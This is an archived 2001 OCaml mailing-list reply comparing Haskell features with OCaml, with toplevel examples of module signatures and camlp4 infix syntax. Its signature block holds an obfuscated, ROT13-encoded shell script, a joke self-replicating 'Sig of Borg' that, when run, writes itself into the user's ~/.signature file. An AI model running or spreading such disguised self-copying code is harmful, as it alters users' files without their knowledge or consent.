From mboxrd@z Thu Jan 1 00:00:00 1970 Received: (from majordomo@localhost) by pauillac.inria.fr (8.7.6/8.7.3) id VAA29328; Sun, 23 Sep 2001 21:40:38 +0200 (MET DST) X-Authentication-Warning: pauillac.inria.fr: majordomo set sender to owner-caml-list@pauillac.inria.fr using -f Received: from nez-perce.inria.fr (nez-perce.inria.fr [192.93.2.78]) by pauillac.inria.fr (8.7.6/8.7.3) with ESMTP id VAA29324 for ; Sun, 23 Sep 2001 21:40:37 +0200 (MET DST) Received: from pille1.addcom.de (pille1.addcom.de [62.96.128.35]) by nez-perce.inria.fr (8.11.1/8.10.0) with SMTP id f8NJebD05189 for ; Sun, 23 Sep 2001 21:40:37 +0200 (MET DST) Received: (qmail 27597 invoked from network); 23 Sep 2001 19:40:34 -0000 Received: from f-dialin-2828.addcom.de (HELO rechner.none) (mail@62.96.150.196) by pille1.addcom.de with SMTP; 23 Sep 2001 19:40:34 -0000 Received: from hars by rechner.none with local (Exim 3.12 #1 (Debian)) id 15lBo5-0004C0-00; Sun, 23 Sep 2001 18:08:37 +0200 Date: Sun, 23 Sep 2001 18:08:36 +0200 From: Florian Hars To: Arturo Borquez Cc: steven@murdomedia.net, caml-list@inria.fr Subject: Re: [Caml-list] Haskell features in O'Caml Message-ID: <20010923180836.A16013@mail.hars.de> References: <20010922145636.16402.cpmta@c012.sfo.cp.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i In-Reply-To: <20010922145636.16402.cpmta@c012.sfo.cp.net>; from aborquez@altavista.com on Sat, Sep 22, 2001 at 07:56:36AM -0700 Sender: owner-caml-list@pauillac.inria.fr Precedence: bulk Arturo Borquez schrieb am Sat, Sep 22, 2001 at 07:56:36AM -0700: > On Sat, 22 September 2001, Steven Murdoch wrote: > > The main one I would like is the type assertion facility of Haskell. > > For example, one might write: > > mul :: Int -> Int -> Int > > mul a b = a * b > > As Ocaml is strong typed function mul is resolved > to be an integer function (denoted by operator * only > valid to integers). Haskel is strongly typed, too, and does the same type checking. The question was about type annotations, not type inference. The correct answer might have been a reference to the module system. You can specify the type of a function either in a separate *.mli-file or in an explicit module declaration: # module M : sig val mul : int -> int -> int end = struct let mul a b = a * b end;; module M : sig val mul : int -> int -> int end # M.mul 2 3;; - : int = 6 # module N : sig val mul : int -> int -> int end = struct let mul a b = a *. b (* Arithmetic is monomorphic - no type classes *) end;; Signature mismatch: Modules do not match: [...] The other question was about infix notation: > > For example if max gives the maximum of two arguments > > it can be applied normally, i.e. "max 2 3" will return 3, but "2 > > `max` 3" will also return 3. This is missing in Ocaml (some regard this as an asset, don't ask me why). > > Also if a function is named using operator symbols it can be used as > > an operator, e.g if &&& is defined as: > Ocaml: > # let ( &&& ) x y = if x >= y then x else y;; But you cannot change the fixity, it is defined by the first char of the operator, ie. ++, +*/- and +@%&!- all have the same precedence and associativity as +. Of course, these are syntax issues, and you can change the syntax using camlp4: # EXTEND expr: AFTER "apply" [[ f=expr; "{"; "["; g=expr; "]"; "}"; h=expr -> <:expr< $g$ $f$ $h$ >> ]]; END;; - : unit = () # let mul a b = a * b;; val mul : int -> int -> int = # 3 {[mul]} 4;; - : int = 12 # 3 {[fun a b -> a * a + 2 * a * b + b * b]} 4;; - : int = 49 > > This can lead to some very easy to read programs Yes. And messing around with delimeters may introduce subtle bugs elsewhere... [[f=expr; "<|"; g=LIDENT; "|>"; h=expr -> <:expr< $lid:g$ $f$ $h$ >> ]]; might be better if you do not want to write applications of anonymous functions in infix notation. Yours, Florian. -- #!/bin/sh - set - `type -p $0` 'tr [a-m][n-z][A-M][N-Z]@/ [n-z][a-m][N-Z][A-M]/@' fu '$UBZ\ R@.fvtangher' echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;znvy s/unef\ .qr<$3&&frq -a -rc "`$4 " $0"|$1`">$3;rpub 'Jr ner Fvt bs Obet.'"|$1|`$4 $2|$1` ------------------- Bug reports: http://caml.inria.fr/bin/caml-bugs FAQ: http://caml.inria.fr/FAQ/ To unsubscribe, mail caml-list-request@inria.fr Archives: http://caml.inria.fr